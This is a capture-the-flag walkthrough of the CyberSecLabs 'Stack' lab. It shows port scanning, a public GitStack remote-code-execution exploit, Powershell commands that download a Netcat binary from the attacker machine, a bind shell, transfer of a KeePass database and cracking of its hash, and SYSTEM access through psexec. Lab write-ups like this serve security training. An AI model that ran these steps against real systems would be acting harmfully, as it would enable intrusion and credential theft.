NOTICE: (SPOILER!!) If you would like to solve it by yourself, don’t read further.
Today let’s play  CyberSecLabs Stack at  https://www.cyberseclabs.co.uk/labs/beginner-labs



nmap -p-
Running a scan of all 65,535 ports went quick, and revealed numerous services that could be available.  So I took the information from above and ran an Nmap -A scan to get a better idea of what I was working with.
nmap -A -p80,135,139,445,3389,5985,47001,49152-49165
Great, we can see a lot going on here.We have a web server running Apache, SMB services, RDP, a couple additional web server looking applications running as well. Now that we know what we’re working with, we can move on to enumerating it.


I personally start from the top of my scans and work my way down, so naturally I started with the web server running on HTTP port 80.  Visiting the page returned a page not found error, however running a Gobuster scan against the address showed me a /web directory.  This proved fruitful.
page not found error
 ./gobuster dir -u -w /root/Desktop/directories/
Now that we found a directory, a quick check of it shows that the server is running the GitStack service. directory GitStack results
When we enumerate a service it’s always important to research in to it more, especially if it isn’t something you’re familiar with.  This was incredibly useful, and provided the path we needed from here all the way to the finish.
searchsploit gitstack
Awesome! GitStack has several exploits possible, and while we could easily take the fast route to flags, we are going to take the manual method this time around.  Let’s explore this 43777.py exploit some more.  A Google search showed it listed on ExploitDB.

exploitDB results
A quick check of the code for the exploit shows that it is extremely straight forward, and appears that simply changing the IP address is enough to get the ball rolling.  Also of note is the command variable, which is what the exploit suggests is the variable we can modify for remote code execution.
IP address and command variables for RCE
Since the exploit is located on our machine already, I simply copied it to my working directory for use.
exploit copied to working directory


Now that we have a possible exploit to use, we can get to work building out or vector. We change the IP address to the target address, and for now leave the command to see what happens.
exploit creation and results
And to be honest, here is where my jaw dropped a bit. Non-verified exploits on ExploitDB are hit or miss, and this one hit big time.  We now know a user name, and can start digging deeper in to the system.  We first start by enumerating the working directory (please note that the nc.exe and exploit.php are from me, and were not available upon startup).
command changed to “dir”, which showed the contents of the working directory
 Being as we are in a lab machine, we know that flags are typically kept in a user Desktop directory and Administrator Desktop directory.  Starting with the user John, we can manipulate the command in the exploit to show the contents of the Desktop directory, revealing the access.txt flag.
directory contents of user John’s Desktop and access.txt flag
Next we can pull the contents of access.txt utilizing the “more” command.
more command to reveal the John user flag
Now that we have the user flag let’s get out of the RCE via Python exploit, and in to an actual command line. For those not well-versed in Powershell, it has a “wget” command that allows us to pull files from external web servers.  So we can spin up a Python Simple Server on our Kali machine, and write out a wget script using Powershell to pull a Netcat binary from Kali.
Python -m SimpleHTTPServer 9876
“powershell -c wget ‘’ -outfile ‘nc14.exe'”
The 200 traffic in our web server shows that the Netcat executable was pulled successfully by our exploit.  From here on out, we will simplify things using the Netcat binary on Windows.  To confirm first, we run “dir” from the Python exploit to ensure the copy happened, which it did (as before, multiple nc.exe exploits are due to my experimentation, and were not there to begin with).
 netcat binary copy confirmation
Now that we have a Netcat binary in the working directory we can use it to get shell access the machine via bind shell (you can also do it via reverse shell).  I used nc14.exe as that is how I named it, however your naming convention will be different.  Running the listener on the Windows machine allowed me to connect directly via Netcat from Kali, giving me a stable command shell to the target.
Top Right – modified python script to act as a bind shell listener; Bottom – command issue
Top Left – Bind Shell connection to command shell
We now have a stable command shell on the target.  From here on out we are finished with our Python exploit, and you can close it for now.  Enumerating users more showed that the Administrator directory has elevated access privileges that our user account doesn’t have access to.
 whoami stack\john
Administrator access denied
 After poking around for a while I noticed that user John had a password_manager.kdbx file in his Documents directory (again, please note that the Netcat executables were placed by me during exploitation, and were not in place beforehand).
password_manager.kdbx in Documents directory
Let’s look in to the password_manager file.  This turns out to be a KeePass database extension.  Researching further showed that KeePass hashes can be cracked using John the Ripper.  So we have a vector, and need to get it back to our Kali machine for exploitation.  We can do this using Netcat, however we are currently using it to connect to our machine, and we cannot run it in multiple instances.  To bypass this, we can use the Powershell wget script to pull another copy to our current directory, and change the name of the output file.
powershell -c wget “” -outfile “nc3.exe”
We now have another available copy of the Netcat binary on our machine, and can use it to transfer the database file between our attack machine and the target Windows machine.  We do this by creating a Netcat listener on the Windows machine that sends the file to anyone connecting to the machine on that port.  We then connect to the target machine and port using our Kali machine, which transfers the file to our working directory.
Right – nc3.exe -v -w 30 -p 1337 -l < password_manager.kdbx
Left – nc -v -w 1337 > password.kdbx
Now that we have a copy of the KeePass database, we can attempt to harvest a hash from it.  We do this using KeePass2John.
keepass2john password.kdbx
 As we can see, we are able to successfully harvest the password hash for accessing KeePass.  Fortunately the database administrator uses a poor password, and we easily crack the hash using the Rockyou password list.
john -format=keepass tocrack -w passes/rockyou.txt
 Using the password we discovered, we can log in to the KeePass database, and easily harvest the credentials of both the Administrator and John users.
administrator password

Now that we have a password, let’s try to get in to the Administrator’s account.  We can do this by utilizing psexec.py.

psexec.py stack/Administrator:<passhidden>@
And as you can see the parameters worked!  We have NT AUTHORITY\SYSTEM access privileges.  Which means we also have the system flag.
MayorWasHere and system.txt flag
Posted on

Leave a Reply

Your email address will not be published. Required fields are marked *